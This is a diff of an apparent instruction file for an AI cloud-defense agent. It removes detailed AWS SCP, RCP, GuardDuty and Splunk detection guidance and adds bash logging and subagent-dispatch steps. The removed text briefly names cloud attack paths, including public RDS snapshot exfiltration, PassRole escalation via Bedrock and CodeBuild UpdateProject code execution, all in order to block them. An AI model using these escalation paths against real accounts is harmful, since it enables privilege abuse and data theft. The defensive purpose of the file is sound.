real enterprise environment: - -- **Never generate blanket IAM privilege escalation denials** (e.g., `scp-deny-iam-privesc` that blocks `AttachRolePolicy`, `PutUserPolicy`, `CreatePolicyVersion` broadly). These break legitimate provisioning automation, CI/CD pipelines, and platform engineering workflows. Instead, scope denials to specific high-risk patterns — e.g., deny attachment of `AdministratorAccess` or `*:*` policies, deny `iam:CreateUser` outside approved automation roles, deny `PassRole` to sensitive service roles. -- **Prefer narrow, scoped policies over broad deny-all approaches.** A good SCP blocks the specific abuse vector without impeding normal operations. If a policy would require exempting more than 3-4 role patterns, it's too broad — rethink the approach. -- **Consider the blast radius honestly.** If deploying a policy at Root OU would generate tickets from every account team, it's not enterprise-ready. Suggest OU-level or account-level attachment with clear scoping guidance. -- **Name policies for the specific behavior they prevent**, not the broad category. Use `scp-deny-admin-policy-attach` not `scp-deny-iam-privesc`. Use `scp-deny-cloudtrail-disable` not `scp-deny-defense-evasion`. - -### SCP Syntax Rules (September 2025 — Full IAM Language Support) - -**Required elements:** -- `"Version": "2012-10-17"` — always required -- `"Effect": "Deny"` — standard guardrail strategy (deny-list) -- `"Resource": "*"` — in Allow statements, only `"*"` is valid; Deny statements may use specific ARNs - -**Not supported in SCPs:** -- `Principal` and `NotPrincipal` are NOT supported in SCPs (use `Condition: ArnNotLike: aws:PrincipalArn` instead) - -**Size limit:** -- Maximum **5,120 characters** (whitespace counts — use compact JSON for deployed files) -- Up to **5 SCPs** can be attached per OU or account -- If compact JSON > **4,500 characters**, warn the operator and suggest splitting the SCP - -**Inheritance model:** -- Every SCP in the chain from root → OU → account must Allow a permission -- A Deny at any level is absolute and cannot be overridden by a lower OU - -**September 2025 full IAM language additions:** -- `NotAction` with `Allow` is now supported -- Individual resource ARNs in `Deny` statements are now supported -- Wildcards at beginning or middle of action strings are now supported -- `NotResource` in `Deny` statements is now supported - -### Standard SCP JSON Skeleton - -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "DenyShortSid", - "Effect": "Deny", - "Action": [ - "service:ActionName" - ], - "Resource": "*", - "Condition": { - "ArnNotLike": { - "aws:PrincipalArn": [ - "arn:aws:iam::*:role/SecurityAdminRole", - "arn:aws:iam::*:role/OrgsBreakGlassRole" - ] - } - } - } - ] -} +```bash +TIMESTAMP=$(date -u +%Y-%m-%dT%H:%M:%SZ) +printf '%s\n' "$(jq -nc --arg ts "$TIMESTAMP" --arg audit_dir "$AUDIT_RUN_DIR" '{event_id:"ev-001",type:"defend_start",audit_run_dir:$audit_dir,timestamp:$ts}')" > "$DEFEND_RUN_DIR/agent-log.jsonl" ``` + -**Every Deny SCP MUST include an exemption condition** for ops/admin roles using `ArnNotLike`. Without this, legitimate operations (provisioning automation, security team actions) will be blocked. - -### Common Condition Keys for SCP Scoping +**Load environment observations:** Read `config/observations.md` if it exists. Use to understand: what controls are already deployed in this account, what remediation has been attempted before, detection FP rates. Avoid re-recommending controls already noted as deployed. -| Condition Key | Purpose | Example Value | -|---|---|---| -| `aws:RequestedRegion` | Restrict to approved regions | `["us-east-1", "us-west-2"]` | -| `aws:PrincipalOrgID` | Org membership check | `"o-exampleorgid"` | -| `aws:PrincipalArn` | Exempt specific admin roles (use with ArnNotLike) | `"arn:aws:iam::*:role/OpsAdminRole"` | -| `aws:PrincipalTag/` | Tag-based exemptions | `"true"` for `aws:PrincipalTag/ExemptFromSCP` | -| `aws:MultiFactorAuthPresent` | MFA enforcement | `"false"` (deny when MFA absent) | -| `aws:SecureTransport` | HTTPS-only enforcement | `"false"` (deny when not HTTPS) | + +## Wave 1: Parallel Dispatch (4 Subagents) -### OU Attachment Decision Tree +After intake completes, dispatch all four Wave 1 subagents simultaneously. Use the Agent tool with each subagent file path. Dispatch in parallel — do NOT wait for one to complete before starting the next. -| SCP Category | Attach At | Rationale | -|---|---|---| -| CloudTrail/Config protection | Root | Must apply everywhere; disabling audit is org-wide risk | -| Region restriction | Root or per-OU | Root = org-wide approved regions; OU = environment-specific | -| Root user protection | Root | Root user exists in every account | -| MFA requirement | Root (or Security OU) | Applies to all human users org-wide | -| IAM privilege guardrails (deny CreateUser, etc.) | Workload OUs | Not Security OU — ops team needs these permissions | -| Data exfiltration (deny S3 public, etc.) | Workload OUs | Data accounts; not infrastructure/network | -| Account-specific misconfigs (one-off findings) | Individual account | Don't blast one-off findings to the entire org | +Each subagent receives the same initial message: -**Management account note:** SCPs do NOT affect the organization management account. Include this note in the impact analysis of every org-wide SCP. - -### Impact Analysis Template (Required Per SCP) - -For every generated SCP, include this impact analysis block in technical-remediation.md: - -```markdown -#### Impact Analysis: [SCP Name] - -**What it blocks:** [Specific API actions denied — e.g., "CloudTrail trail deletion and logging stop"] -**Legitimate operations at risk:** [What might break — e.g., "Trail migration workflows that temporarily disable logging"] -**Exemption scope:** [Which roles are exempt and why — e.g., "SecurityAdminRole and OrgsBreakGlassRole are exempt via ArnNotLike condition"] -**Suggested condition refinements:** [Additional conditions to consider — e.g., "Add aws:PrincipalTag/SecurityTeam:true as alternative exemption"] -**Rollback steps:** Detach the SCP via the management account using AWS Organizations console or CLI: `aws organizations detach-policy --policy-id --target-id ` -**Management account note:** This SCP does not affect the organization management account. -**OU attachment:** [Recommended OU level and rationale] ``` - -### SCP Examples - -**SCP: Protect CloudTrail from Disabling (Root-level — systemic finding)** -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "DenyCloudTrailMod", - "Effect": "Deny", - "Action": [ - "cloudtrail:DeleteTrail", - "cloudtrail:StopLogging", - "cloudtrail:UpdateTrail", - "cloudtrail:PutEventSelectors", - "cloudtrail:DeleteEventDataStore" - ], - "Resource": "*", - "Condition": { - "ArnNotLike": { - "aws:PrincipalArn": [ - "arn:aws:iam::*:role/SecurityAdminRole", - "arn:aws:iam::*:role/OrgsBreakGlassRole" - ] - } - } - } - ] -} -``` -OU Level: Root | Blast radius: All accounts except exempted roles | Rollback: Detach SCP via management account - -**SCP: Deny Console Access Without MFA (Root-level — systemic finding)** -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "DenyNoMFA", - "Effect": "Deny", - "NotAction": [ - "iam:CreateVirtualMFADevice", - "iam:EnableMFADevice", - "iam:GetUser", - "iam:ListMFADevices", - "iam:ListVirtualMFADevices", - "iam:ResyncMFADevice", - "sts:GetSessionToken" - ], - "Resource": "*", - "Condition": { - "BoolIfExists": { - "aws:MultiFactorAuthPresent": "false" - } - } - } - ] -} +AUDIT_RUN_DIR: {audit_run_dir} +DEFEND_RUN_DIR: {defend_run_dir} +ACCOUNT_ID: {account_id} +SERVICES_COMPLETED: {services_completed} ``` -OU Level: Root | Known break: Service roles using IAM credentials without MFA — add `aws:PrincipalType` condition to exempt `Service` principals - -**SCP: Region Restriction (Root-level or per-OU)** -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "DenyNonApprovedRegions", - "Effect": "Deny", - "NotAction": [ - "iam:*", - "organizations:*", - "support:*", - "trustedadvisor:*", - "cloudfront:*", - "route53:*", - "sts:*" - ], - "Resource": "*", - "Condition": { - "StringNotEquals": { - "aws:RequestedRegion": ["us-east-1", "us-west-2", "eu-west-1"] - } - } - } - ] -} -``` -Note: Global services (IAM, STS, Route53, CloudFront) are region-agnostic — exclude them from region restrictions via `NotAction`. -### SCP Guidance — New Service Attack Vectors (Phase 4 Expansion) +Log each dispatch to agent-log.jsonl before launching: -These SCPs address attack vectors from the 7 new services added in the scope-attack-paths expansion. Include in remediation output when the corresponding attack path is discovered. - ---- - -**SCP: Prevent Public RDS Snapshots** - -Addresses: Category 4 — public snapshot exfiltration (attacker calls `ModifyDBSnapshotAttribute` with `AttributeValue: all` to make a snapshot world-readable, then restores it in their own account). - -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "DenyPublicRDSSnapshot", - "Effect": "Deny", - "Action": "rds:ModifyDBSnapshotAttribute", - "Resource": "*", - "Condition": { - "StringEquals": { - "rds:AttributeName": "restore", - "rds:AttributeValue": ["all"] - }, - "ArnNotLike": { - "aws:PrincipalArn": [ - "arn:aws:iam::*:role/SecurityAdminRole", - "arn:aws:iam::*:role/OrgsBreakGlassRole" - ] - } - } - } - ] -} +```bash +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-guardrails" '{event_id:"ev-002",type:"subagent_dispatch",name:$name,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-splunk" '{event_id:"ev-003",type:"subagent_dispatch",name:$name,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-policy" '{event_id:"ev-004",type:"subagent_dispatch",name:$name,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-remediation" '{event_id:"ev-005",type:"subagent_dispatch",name:$name,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" ``` -OU Level: Workload OUs | Blast radius: low — only blocks the specific API call with `AttributeValue: all`; authorized snapshot sharing by exception role is exempt. +**Dispatch simultaneously:** -**CloudTrail eventSource:** `rds.amazonaws.com` | **Detection target:** `eventName=ModifyDBSnapshotAttribute requestParameters.attributeName=restore requestParameters.attributeValue=all` - ---- - -**SCP: Prevent SageMaker Notebooks with Direct Internet Access** - -Addresses: Method 9/10 — SageMaker escalation victim with public internet access enabling exfiltration path. - -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "DenySageMakerDirectInternet", - "Effect": "Deny", - "Action": "sagemaker:CreateNotebookInstance", - "Resource": "*", - "Condition": { - "StringEquals": { - "sagemaker:DirectInternetAccess": "Enabled" - }, - "ArnNotLike": { - "aws:PrincipalArn": [ - "arn:aws:iam::*:role/SecurityAdminRole", - "arn:aws:iam::*:role/OrgsBreakGlassRole" - ] - } - } - } - ] -} ``` +Dispatch scope-defend-guardrails as a subagent with this initial message: -OU Level: Workload OUs (especially ML/data science OUs) | Blast radius: medium — affects teams creating notebooks; require VPC-only mode for all new notebooks. + AUDIT_RUN_DIR: {audit_run_dir} + DEFEND_RUN_DIR: {defend_run_dir} + ACCOUNT_ID: {account_id} + SERVICES_COMPLETED: {services_completed} -**CloudTrail eventSource:** `sagemaker.amazonaws.com` | **Detection target:** `eventName=CreateNotebookInstance requestParameters.directInternetAccess=Enabled` +Use the Agent tool with subagent_type="scope-defend-guardrails". ---- - -**SCP: Restrict Bedrock Agent Creation (PassRole Chain)** - -Addresses: Method 12 — `iam:PassRole` to Bedrock service principal + `bedrock:CreateAgent` privilege escalation chain. Non-admin principals should not be able to create Bedrock agents with admin-level execution roles. - -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "DenyBedrockAgentCreateNonAdmin", - "Effect": "Deny", - "Action": [ - "bedrock:CreateAgent", - "bedrock:CreateAgentActionGroup" - ], - "Resource": "*", - "Condition": { - "ArnNotLike": { - "aws:PrincipalArn": [ - "arn:aws:iam::*:role/SecurityAdminRole", - "arn:aws:iam::*:role/MLPlatformAdminRole", - "arn:aws:iam::*:role/OrgsBreakGlassRole" - ] - } - } - } - ] -} +Wait for subagent to return its summary. +Expected return: + STATUS: complete|error + FILE: {defend_run_dir}/guardrails.md + METRICS: {scps: N, rcps: N} + ERRORS: [any issues] ``` -OU Level: Workload OUs | Blast radius: medium — blocks non-admin Bedrock agent creation; expand the exemption list for teams with legitimate Bedrock agent use cases. - -**Companion control:** Pair with an `iam:PassRole` condition restricting PassRole to `bedrock.amazonaws.com` service principal only from approved roles. SCP cannot inspect the PassRole target service, so use IAM permission boundaries on Bedrock execution roles as the enforcement mechanism. - -**CloudTrail eventSource:** `bedrock.amazonaws.com`, `bedrock-agent.amazonaws.com` | **Detection target:** `eventName=CreateAgent OR eventName=CreateAgentActionGroup` - ---- - -**SCP: CodeBuild Project Service Role Constraints** - -Addresses: Method 15 (`codebuild:CreateProject`) and Method 15b (`codebuild:UpdateProject` — no `iam:PassRole` required, so an attacker with only `codebuild:UpdateProject` + `codebuild:StartBuild` can execute code as the existing project's service role). - -Note: SCPs cannot inspect the specific service role ARN being attached to a CodeBuild project. Use this SCP as a deterrent layer, and pair with the IAM permission boundary approach below. - -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "DenyCodeBuildProjectMod", - "Effect": "Deny", - "Action": [ - "codebuild:CreateProject", - "codebuild:UpdateProject" - ], - "Resource": "*", - "Condition": { - "ArnNotLike": { - "aws:PrincipalArn": [ - "arn:aws:iam::*:role/SecurityAdminRole", - "arn:aws:iam::*:role/CICDAdminRole", - "arn:aws:iam::*:role/OrgsBreakGlassRole" - ] - } - } - } - ] -} ``` +Dispatch scope-defend-splunk as a subagent with this initial message: -OU Level: Workload OUs (not CI/CD OUs where this access is legitimate) | Blast radius: high for developer OUs — adjust the exemption list per OU before deploying. - -**Preferred enforcement:** IAM permission boundary on CodeBuild service roles restricting their maximum permissions. Config rule `CODEBUILD_PROJECT_ENVVAR_AWSCRED_CHECK` also detects credential exposure in build environment variables. + AUDIT_RUN_DIR: {audit_run_dir} + DEFEND_RUN_DIR: {defend_run_dir} + ACCOUNT_ID: {account_id} + SERVICES_COMPLETED: {services_completed} -**CloudTrail eventSource:** `codebuild.amazonaws.com` | **Detection target:** `eventName=UpdateProject OR eventName=CreateProject` +Use the Agent tool with subagent_type="scope-defend-splunk". ---- - -**Advisory: Public SQS/SNS Resource Policies (Config Rule Preferred)** - -Addresses: SQS/SNS public policy injection — attacker sets `sqs:SetQueueAttributes` or `sns:SetTopicAttributes` with a policy granting `Principal: "*"`. - -SCP cannot inspect the content of the policy being set (the JSON body of the `Policy` attribute is opaque to SCP condition keys). Use AWS Config managed rules as the enforcement mechanism: - -- `SQS_QUEUE_NOT_PUBLICLY_ACCESSIBLE` — detects SQS queues with public resource policies -- `SNS_TOPIC_NOT_PUBLICLY_ACCESSIBLE` — detects SNS topics with public resource policies (where available; check current Config managed rule catalog) - -For detective control via IAM Access Analyzer: enable Access Analyzer external access analysis — it flags SQS queues and SNS topics with resource policies granting cross-account or public access. - -**CloudTrail eventSource:** `sqs.amazonaws.com`, `sns.amazonaws.com` | **Detection targets:** `eventName=SetQueueAttributes`, `eventName=SetTopicAttributes` — filter on `requestParameters.attributes.Policy` containing `"Principal":"*"` where feasible. - ---- - -**Advisory: API Gateway Authorization (Config Rule Preferred)** - -Addresses: API Gateway methods deployed with no authorizer (no Cognito, no Lambda authorizer, no IAM auth) — any caller can invoke the endpoint. - -SCP-level enforcement is difficult because `apigateway:CreateRestApi`, `apigateway:PutMethod`, and `apigateway:PutMethodResponse` do not expose the authorization type as a condition key. Use: - -- AWS Config rule: `API_GW_EXECUTION_LOGGING_ENABLED` (execution logging required) as a proxy for maturity -- Custom Config rule or Security Hub control: Check that methods have `authorizationType != NONE` -- IAM Access Analyzer: Can detect publicly accessible API Gateway REST APIs - -**CloudTrail eventSource:** `apigateway.amazonaws.com` | **Detection target:** `eventName=CreateRestApi OR eventName=CreateDeployment` — correlate with subsequent `GetMethod` calls that show `authorizationType=NONE`. - -### Character Budget Check - -When generating SCP JSON: -1. Generate the formatted version (with indentation) for inline display in technical-remediation.md -2. Generate the compact version (no whitespace outside strings) for the `.json` policy file -3. Count characters in the compact version: `len(compact_json)` -4. If compact JSON > 4,500 characters: WARN operator with "SCP exceeds 4,500 chars (limit: 5,120). Consider splitting into two separate SCPs." - -### File Naming Convention - -Compact SCP JSON files in `$RUN_DIR/policies/`: -- `scp-deny-cloudtrail-disable.json` -- `scp-require-mfa-console.json` -- `scp-restrict-approved-regions.json` -- `scp-deny-admin-policy-attach.json` -- `scp-deny-root-access-key.json` - -Name each SCP for the **specific behavior** it blocks, not a broad category. Never name a policy `scp-deny-iam-privesc` — that implies a blanket IAM deny which is unrealistic at enterprise scale. - -Keep Sid values short (< 20 characters) to conserve the character budget. - - - -## RCP Generation - -Generate RCP (Resource Control Policies) JSON policies for resource-centric external access control. RCPs control which external principals can access resources in your org — this is the complement to SCPs, which control what internal principals can do. - -### RCP Syntax Rules - -- Syntax nearly identical to SCPs -- **RCPs support `Principal`** (unlike SCPs which do not) -- `Version: "2012-10-17"` always required -- Max size: 5,120 characters (same as SCPs) - -### Currently Supported Services (November 2024) - -| Service | RCP Coverage | -|---|---| -| Amazon S3 | Full: all s3:* actions | -| AWS STS | AssumeRole, AssumeRoleWithWebIdentity, AssumeRoleWithSAML | -| AWS KMS | Decrypt, GenerateDataKey, etc. | -| Amazon SQS | SendMessage, ReceiveMessage, etc. | -| AWS Secrets Manager | GetSecretValue, PutSecretValue, etc. | -| Amazon Cognito | All cognito-idp:* actions | -| CloudWatch Logs | PutLogEvents, etc. | -| Amazon DynamoDB | GetItem, PutItem, Query, Scan, etc. | -| Amazon ECR | BatchGetImage, PutImage, etc. | -| OpenSearch Serverless | All aoss:* actions | - -**RCPs do NOT affect the organization management account.** -**Service-linked roles are not affected by RCPs.** -**AWS managed KMS keys are not restricted by RCPs.** - -### SCP vs RCP Decision - -| Use SCP when | Use RCP when | Use both when | -|---|---|---| -| Preventing principals IN my org from doing X | Preventing principals OUTSIDE my org from accessing my resources | Data perimeter: SCP prevents exfiltration, RCP prevents infiltration | - -**When to generate an RCP:** Any audit finding involving cross-account or external access to S3, KMS, SQS, or Secrets Manager. Also for any finding where a resource has a permissive resource-based policy allowing cross-account or public access. - -### Canonical RCP Examples - -**RCP: Restrict S3 to Org Principals Only (Root-level — data perimeter)** -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "EnforceOrgS3Access", - "Effect": "Deny", - "Principal": "*", - "Action": "s3:*", - "Resource": "*", - "Condition": { - "StringNotEqualsIfExists": { - "aws:PrincipalOrgID": "" - }, - "BoolIfExists": { - "aws:PrincipalIsAWSService": "false" - } - } - } - ] -} +Wait for subagent to return its summary. +Expected return: + STATUS: complete|error + FILE: {defend_run_dir}/splunk-detections.md + METRICS: {detections: N} + ERRORS: [any issues] ``` -Note: `BoolIfExists: aws:PrincipalIsAWSService: false` exempts AWS services (S3 replication, CloudFront OAC) so they can still access buckets. Replace `` with your actual organization ID (e.g., `o-exampleorgid`). - -**RCP: Restrict KMS Keys to Org Principals Only** -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "EnforceOrgKMSAccess", - "Effect": "Deny", - "Principal": "*", - "Action": [ - "kms:Decrypt", - "kms:GenerateDataKey", - "kms:GenerateDataKeyWithoutPlaintext", - "kms:ReEncryptFrom", - "kms:ReEncryptTo" - ], - "Resource": "*", - "Condition": { - "StringNotEqualsIfExists": { - "aws:PrincipalOrgID": "" - }, - "BoolIfExists": { - "aws:PrincipalIsAWSService": "false" - } - } - } - ] -} -``` -Note: Does not apply to AWS managed KMS keys (service-owned keys used by S3, CloudWatch, etc.). - -### RCP Impact Analysis - -For every generated RCP, include this impact analysis block in technical-remediation.md: -```markdown -#### Impact Analysis: [RCP Name] - -**What it blocks:** [External principals denied — e.g., "All cross-org access to S3 buckets"] -**Legitimate operations at risk:** [e.g., "Third-party backup services, external SaaS integrations using bucket access"] -**AWS service exemption:** RCPs with BoolIfExists:aws:PrincipalIsAWSService:false exemption allow native AWS services to continue functioning. -**Management account note:** This RCP does not affect the organization management account. -**OU attachment:** Root (applies org-wide to all member accounts) -**Replace placeholder:** Update `` with your actual AWS Organizations ID before deployment. ``` +Dispatch scope-defend-policy as a subagent with this initial message: -### File Naming Convention - -Compact RCP JSON files in `$RUN_DIR/policies/`: -- `rcp-s3-org-only.json` -- `rcp-kms-org-only.json` -- `rcp-secrets-org-only.json` - - - -## Security Controls - -Recommend AWS native security controls based on discovered attack paths. These are text recommendations only — no CloudFormation, Terraform, or CLI deployment commands. The operator reviews and deploys. - -### GuardDuty Recommendations - -Map discovered attack paths to specific GuardDuty finding types. Recommend enabling the relevant finding categories based on what was found. - -**GuardDuty IAM Finding Types — Attack Path Mapping:** + AUDIT_RUN_DIR: {audit_run_dir} + DEFEND_RUN_DIR: {defend_run_dir} + ACCOUNT_ID: {account_id} + SERVICES_COMPLETED: {services_completed} -| Finding Type | Severity | Trigger | Attack Path Match | -|---|---|---|---| -| `PrivilegeEscalation:IAMUser/AnomalousBehavior` | medium | ML: anomalous AttachRolePolicy, PutUserPolicy, AddUserToGroup | IAM privilege escalation paths | -| `Discovery:IAMUser/AnomalousBehavior` | low | ML: anomalous GetRolePolicy, ListAccessKeys, DescribeInstances | Recon enumeration detection | -| `Persistence:IAMUser/AnomalousBehavior` | medium | ML: anomalous CreateAccessKey, ImportKeyPair | Persistence via access key creation | -| `CredentialAccess:IAMUser/AnomalousBehavior` | medium | ML: anomalous GetSecretValue, GetPasswordData | Secrets exfiltration paths | -| `DefenseEvasion:IAMUser/AnomalousBehavior` | medium | ML: anomalous DeleteFlowLogs, StopLogging, DisableAlarmActions | Defense evasion attack paths | -| `Exfiltration:IAMUser/AnomalousBehavior` | high | ML: anomalous PutBucketReplication, CreateSnapshot | Data exfiltration paths | -| `Stealth:IAMUser/CloudTrailLoggingDisabled` | low | CloudTrail trail disabled/deleted | CloudTrail protection findings | -| `Policy:IAMUser/RootCredentialUsage` | low | Root credentials used | Root user exposure findings | -| `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS` | high | EC2 creds used from external IP | EC2 metadata / SSRF findings | +Use the Agent tool with subagent_type="scope-defend-policy". -**GuardDuty baseline note:** ML-based `AnomalousBehavior` findings require approximately 7-14 days of activity baseline before firing reliably. Rule-based findings (e.g., `Stealth:IAMUser/CloudTrailLoggingDisabled`) fire immediately after enablement. - -**Enterprise scale recommendation:** Enable GuardDuty via AWS Organizations delegated admin — enables in all current and future member accounts automatically. Recommend the security OU account as the delegated admin. - -**Format for recommendation in report:** -```markdown -#### GuardDuty Recommendation: Enable IAM Threat Detection - -**Relevant finding types:** -- `PrivilegeEscalation:IAMUser/AnomalousBehavior` — detects IAM privilege escalation (matches attack path: [path name]) -- `Persistence:IAMUser/AnomalousBehavior` — detects access key persistence - -**Activation:** Enable GuardDuty via AWS Organizations delegated admin to cover all accounts. -**Baseline time:** ML findings require 7-14 days. Rule-based findings fire immediately. -**Source:** [run_id] | Attack Path: [attack_path_name] | Severity: [critical|high|medium|low] +Wait for subagent to return its summary. +Expected return: + STATUS: complete|error + FILE: {defend_run_dir}/policy-replacements.md + METRICS: {policy_replacements: N} + ERRORS: [any issues] ``` -### AWS Config Managed Rules - -Map discovered findings to specific AWS Config managed rules. Recommend individual rules for one-off findings, conformance packs for systemic issues. - -**Config Rules — IAM Compliance Mapping:** - -| Rule ID | What It Checks | CIS Control | Maps To Audit Finding | -|---|---|---|---| -| `iam-root-access-key-check` | No root access keys exist | CIS 1.4 | Root account exposure | -| `root-account-mfa-enabled` | Root user has MFA | CIS 1.5 | Root MFA finding | -| `mfa-enabled-for-iam-console-access` | All console users have MFA | CIS 1.10 | Users without MFA | -| `iam-user-unused-credentials-check` | Credentials unused > 45 days | CIS 1.12 | Stale access keys | -| `access-keys-rotated` | Access keys rotated every 90 days | CIS 1.14 | Key rotation finding | -| `iam-user-no-policies-check` | No policies directly attached to users | CIS 1.15 | Direct user policy | -| `iam-no-inline-policy-check` | No inline policies on users/roles/groups | CIS 1.15 | Inline policy finding | -| `iam-policy-no-statements-with-admin-access` | No `*:*` admin policies exist | CIS 1.16 | Wildcard permission | -| `iam-password-policy` | Password policy meets requirements | CIS 1.8, 1.9 | Weak password policy | - -**Enterprise scale recommendation:** For systemic issues (2+ runs), recommend enabling the CIS AWS Foundations Benchmark conformance pack org-wide. For one-off findings, recommend individual Config rules in the specific account. - -**Format for recommendation in report:** -```markdown -#### Config Rule Recommendation: [rule-id] - -**What it checks:** [description] -**CIS control:** [CIS reference] -**Why now:** [attack path that triggered this recommendation] -**Scope:** [org-wide conformance pack | individual account rule] -**Source:** [run_id] | Attack Path: [attack_path_name] | Severity: [critical|high|medium|low] ``` +Dispatch scope-defend-remediation as a subagent with this initial message: -### IAM Access Analyzer - -Recommend enabling IAM Access Analyzer based on discovered findings. No deployment artifact. - -**Finding types to call out:** - -| Finding Type | What It Detects | When to Recommend | -|---|---|---| -| External access | Resource accessible from outside zone of trust | Any S3/KMS/Secrets/SQS finding with cross-account access | -| Internal access | Internal principals with unexpected cross-account access | Cross-account trust relationship findings | -| Unused roles | Roles with no access activity (configurable window: 1-90 days) | Stale/unused role findings | -| Unused access keys | Keys not used in configured window | Stale access key findings | -| Unused permissions | Actions/services not used by role in window | Over-permissioned role findings | - -**Recommendation format:** -```markdown -#### Access Analyzer Recommendation + AUDIT_RUN_DIR: {audit_run_dir} + DEFEND_RUN_DIR: {defend_run_dir} + ACCOUNT_ID: {account_id} + SERVICES_COMPLETED: {services_completed} -Enable IAM Access Analyzer in each AWS region where resources exist. Recommended analyzer type: -- **Organization analyzer** (requires AWS Organizations access) — covers all accounts in org; detects external and cross-account access -- **Account analyzer** — covers single account; use when org analyzer is unavailable +Use the Agent tool with subagent_type="scope-defend-remediation". -**External access findings:** Review any buckets, KMS keys, Secrets, or SQS queues flagged as externally accessible. -**Unused access analysis:** Enable with a 90-day activity window to identify over-permissioned roles and stale keys. -**Source:** [run_id] | Attack Path: [attack_path_name] | Severity: [critical|high|medium|low] +Wait for subagent to return its summary. +Expected return: + STATUS: complete|error + FILE: {defend_run_dir}/remediation-plan.md + METRICS: {remediation_items: N} + ERRORS: [any issues] ``` -### CloudWatch Alarms (high-Priority Events Only) +Wait for all 4 to complete before proceeding. -Recommend CloudWatch metric filters and alarms for specific high-severity events that benefit from near-real-time alerting. Text recommendation only — no CloudFormation or CLI commands. +### Wave 1 Failure Check -**Recommended metric filters:** +After all 4 Wave 1 subagents return, check for failures: -| Alarm | CloudTrail Event Filter | Severity | Purpose | -|---|---|---|---| -| Root console login | `eventName = ConsoleLogin AND userIdentity.type = Root` | critical | Any root login should page immediately | -| CloudTrail disabled | `eventName IN (DeleteTrail, StopLogging, UpdateTrail)` | critical | Audit evasion detection | -| IAM policy changes | `eventName IN (PutUserPolicy, AttachRolePolicy, CreatePolicy)` | high | Privilege change alerting | -| Network ACL changes | `eventName IN (CreateNetworkAcl, DeleteNetworkAcl, ReplaceNetworkAclAssociation)` | high | Network perimeter changes | +If ANY Wave 1 subagent returned STATUS: error, STOP. Do not proceed to Wave 2 or assembly. -**Format for recommendation in report:** -```markdown -#### CloudWatch Alarm Recommendation: [Alarm Name] +Log the failure: -**Filter pattern:** `[CloudTrail metric filter pattern]` -**Alarm threshold:** Any count > 0 (these events should never happen outside change windows) -**Notification:** SNS → security team email/PagerDuty -**Why:** [attack path context] -**Note:** These metric filters require CloudTrail to be delivering to a CloudWatch Logs log group. Verify this is configured before creating alarms. -**Source:** [run_id] | Attack Path: [attack_path_name] | Severity: [critical|high|medium|low] -``` - -### Enterprise Scale Principle - -All security control recommendations must be viable across hundreds of accounts. When generating recommendations: -- Systemic findings (2+ runs) → org-wide enablement via delegated admin or Organizations integration -- One-off findings (1 run) → account-specific enablement -- Never recommend per-account manual console steps for systemic issues — that doesn't scale - - - -## Detection Suggestions - -Generate SOC-ready SPL detections for each attack path discovered during audit. Every detection is derived from the `detection_opportunities` field in the attack path's DATA_JSON or findings.md. Detections are embedded inline in technical-remediation.md alongside each attack path — NOT as separate .spl files. - -### Atomic → Composite Detection Model - -Detections follow a two-tier architecture: **atomic detections** that fire on individual observable behaviors, and **composite detections** that correlate multiple atomic detections to alert on a full TTP or attack chain. - -**Atomic detections** are the building blocks. Each atomic detection targets a single CloudTrail event or narrow event group representing one discrete action (e.g., `CreateAccessKey` for another user, `AttachRolePolicy` with `AdministratorAccess`, `StopLogging`). Atomic detections fire independently and are useful for SOC triage queues and low-severity alerting. - -**Composite detections** correlate 2+ atomic detections by principal identity within a time window to detect multi-step attack behavior. A composite detection represents the full TTP — e.g., "IAM Privilege Escalation Chain" correlates enumeration (ListPolicies, GetRolePolicy) + escalation (AttachRolePolicy with admin) + persistence (CreateAccessKey for another user) by the same `src_user_arn` within 1 hour. - -**How to structure:** -1. Generate atomic detections first — one per distinct observable behavior -2. Then generate composite detections that reference the atomic detections, correlating by `src_user_arn` within an appropriate time window -3. Mark each detection as `[ATOMIC]` or `[COMPOSITE]` in the detection name -4. Composite detections should have highER severity than their individual atomic components — the correlation is what elevates confidence - -**Composite SPL pattern — use `streamstats` for sequence-aware correlation:** - -```spl -index=cloudtrail earliest=-1h latest=now - (eventName=ListPolicies OR eventName=GetRolePolicy OR eventName=AttachRolePolicy OR eventName=CreateAccessKey) -| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn -| eval phase=case( - eventName IN ("ListPolicies","GetRolePolicy"), "recon", - eventName="AttachRolePolicy", "escalation", - eventName="CreateAccessKey", "persistence") -| sort 0 _time -| streamstats time_window=60m dc(phase) AS phases_seen values(phase) AS phase_list count AS event_count by src_user_arn -| where phases_seen >= 2 -| stats min(_time) AS firstTime max(_time) AS lastTime values(phase_list) AS phases values(eventName) AS events count by src_user_arn sourceIPAddress -| eval firstTime=strftime(firstTime,"%Y-%m-%dT%H:%M:%S"), lastTime=strftime(lastTime,"%Y-%m-%dT%H:%M:%S") -``` - -**Why `streamstats` over `stats` for composites:** -- `streamstats` evaluates each event in time order and applies a **sliding time window** (`time_window=60m`) per principal. This means the 60-minute correlation window moves with the event stream rather than being a fixed bucket — an attacker who starts recon at minute 55 of a stats window and escalates at minute 65 would be missed by `stats` but caught by `streamstats`. -- `streamstats` 